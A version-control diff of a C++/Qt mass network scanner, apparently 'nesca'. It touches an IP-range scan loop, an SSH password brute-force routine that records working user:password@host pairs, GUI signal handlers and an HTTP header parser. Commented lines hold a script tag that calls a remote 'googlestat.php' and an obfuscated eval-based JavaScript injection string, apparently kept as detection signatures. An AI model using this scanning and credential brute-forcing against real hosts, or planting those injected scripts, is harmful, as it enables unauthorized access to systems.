@ -1347,6 +1347,8 @@ void MainStarter::startImportScan(){
break;
}
case false: {
for (gflIndex = 0; gflIndex < MainStarter::flCounter; gflIndex++) {
if (!globalScanFlag) break;
ip1 = (ipsstartfl[gflIndex][0] * 16777216) +
(ipsstartfl[gflIndex][1] * 65536) +
(ipsstartfl[gflIndex][2] * 256) +
@ -1367,6 +1369,7 @@ void MainStarter::startImportScan(){
strcpy(currentIP, inet_ntoa(tAddr));
verboseProgress(gTargets);
Threader::fireThread(currentIP, (void*(*)(void))_connect);
}
}
break;
};

View File

@ -91,7 +91,7 @@ int check_ssh_pass(const int rowIndex, const char *user, const char *pass,
if(res == 0)
{
if (rowIndex == -1) {
nesca_3::addBARow(QString(host) + ":" + QString::number(port), QString(userPass) + "@" + QString(host), "OK");
nesca_3::addBARow(QString(host), QString(userPass) + "@" + QString(host), "OK");
}
else {
stt->doEmitionChangeBARow(rowIndex, QString(userPass) + "@" + QString(host), "OK");
@ -127,6 +127,8 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner
return -1;
}
ZeroMemory(login, 32);
ZeroMemory(pass, 32);
strncpy(login, temp, ptr1 - temp);
strcpy(pass, ptr1 + 1);

View File

@ -44,6 +44,10 @@ void STh::doEmitionGreenFoundData(QString str)
{
emit stt->changeGreenFoundData(str);
}
void STh::doEmitionFoundDataCustom(QString str, QString color)
{
emit stt->foundDataCustom(str, color);
}
void STh::doEmitionYellowFoundData(QString str)
{
emit stt->changeYellowFoundData(str);

2
STh.h
View File

@ -43,6 +43,7 @@ public:
static void doEmitionRedFoundData(QString str);
static void doEmitionGreenFoundData(QString);
static void doEmitionYellowFoundData(QString);
static void doEmitionFoundDataCustom(QString, QString);
static void doEmitionKillSttThread();
static void doEmitionDebugFoundData(QString);
@ -62,6 +63,7 @@ public: signals: void signalDataSaved(bool);
public: signals: void changeFoundData(QString);
public: signals: void changeRedFoundData(QString);
public: signals: void changeGreenFoundData(QString);
public: signals: void foundDataCustom(QString, QString);
public: signals: void changeYellowFoundData(QString);
public: signals: void changeDebugFoundData(QString);
public: signals: void killSttThread();

View File

@ -25,6 +25,24 @@ std::string Utils::startTime;
//}
std::string Utils::getHeaderValue(std::string *buff, const std::string headerValue, const std::string outputName) {
if (buff->size() > 0) {
int headerSize = headerValue.size();
int pos = buff->find(headerValue);
if (-1 != pos) {
int diff = pos + headerSize;
std::string fieldChunk = buff->substr(diff, buff->find("\r\n", pos) - diff);
std::string fieldHeader = outputName + fieldChunk.substr(0, fieldChunk.find(";"));
return fieldHeader;
}
else {
return "";
}
}
else {
return "";
}
}
void Utils::saveStartDate() {
QDate date = QDate::currentDate();
startDate = std::to_string(date.day())

View File

@ -92,6 +92,7 @@ public:
static std::string getStartDate();
static std::string getStartTime();
static void emitScaryError();
static std::string getHeaderValue(std::string *buff, const std::string headerValue, const std::string outputName);
};
#endif // UTILS_H

File diff suppressed because it is too large Load Diff

View File

@ -186,7 +186,7 @@ public:
PathStr *ps,
std::vector<std::string> *lst, int size);*/
int filler(char* ip,
int filler(char* ip, char *ipRaw,
int port,
std::string *buffcpy,
int size,

View File

@ -1407,6 +1407,12 @@ void nesca_3::switchToJobMode()
};
}
#include <qclipboard.h>
void copyToClipboardLocation() {
ui->currentDirectoryLine->selectAll();
QClipboard *c = QApplication::clipboard();
c->setText(ui->currentDirectoryLine->text());
}
bool nesca_3::eventFilter(QObject* obj, QEvent *event)
{
if (obj == qwm)
@ -1428,6 +1434,10 @@ bool nesca_3::eventFilter(QObject* obj, QEvent *event)
else if (event->type() == QEvent::KeyRelease) return true;
return false;
}
else if (obj == ui->currentDirectoryLine && event->type() == QEvent::MouseButtonPress)
{
copyToClipboardLocation();
}
else
{
if (event->type() == QEvent::KeyPress)
@ -2304,6 +2314,7 @@ void nesca_3::ConnectEvrthng()
connect ( stt, SIGNAL(changeYellowFoundData(QString)), this, SLOT(appendNotifyText(QString)));
connect ( stt, SIGNAL(changeRedFoundData(QString)), this, SLOT(appendErrText(QString)));
connect ( stt, SIGNAL(changeGreenFoundData(QString)), this, SLOT(appendOKText(QString)));
connect(stt, SIGNAL(foundDataCustom(QString, QString)), this, SLOT(appendTextCustom(QString, QString)));
connect ( stt, SIGNAL(killSttThread()), this, SLOT(STTTerminate()));
connect ( stt, SIGNAL(signalUpdateArc(unsigned long)), this, SLOT(drawVerboseArcs(unsigned long)));
@ -3072,6 +3083,10 @@ void nesca_3::appendOKText(QString str)
{
ui->dataText->append("<span style=\"color:#06ff00;\">[" + QTime::currentTime().toString() + "][OK] " + str + "</span>");
}
void nesca_3::appendTextCustom(QString str, QString color)
{
ui->dataText->append("<span style=\"color:#" + color + ";\">[" + QTime::currentTime().toString() + "][OK] " + str + "</span>");
}
void nesca_3::appendNotifyText(QString str)
{
@ -3289,6 +3304,7 @@ void nesca_3::finishLoading() {
//#define eicar4 "<script src=\"http://accountus.gets-it.net/googlestat.php\"></script>"
//#define eicar5 "\"split\";e=eval;v=\"0x\";a=0;z=\"y\";try{a*=25}catch(zz){a=1}if(!a){try{--e(\"doc\"+\"ument\")[\"\x62od\"+z]}catch(q){}"
nesca_3::nesca_3(bool isWM, QWidget *parent = 0) : QMainWindow(parent)
{
/*if (isWM) {
@ -3326,6 +3342,8 @@ nesca_3::nesca_3(bool isWM, QWidget *parent = 0) : QMainWindow(parent)
tray = new QSystemTrayIcon(QIcon(":/nesca_3/nesca.ico"), this);
tray->hide();
ui->currentDirectoryLine->installEventFilter(this);
SetValidators();
ConnectEvrthng();

View File

@ -47,7 +47,7 @@ public:
// void ChangeLabelIPS_Value(QString str);
// void newListItem(QString str);
static int addBARow(QString ip, QString loginPass, QString percentage);
bool nesca_3::etEventFilter(QObject* object, QEvent* event);
public:
static int perc;
static int savedTabIndex;
@ -116,6 +116,7 @@ protected:
void ChangeLabelTO_ValueChanged(QString);
void appendErrText(QString str);
void appendOKText(QString str);
void appendTextCustom(QString str, QString color);
void appendDebugText(QString str);
void appendNotifyText(QString str);
void appendDefaultText(QString str);

View File

@ -1 +1 @@
2716B-167
27183-904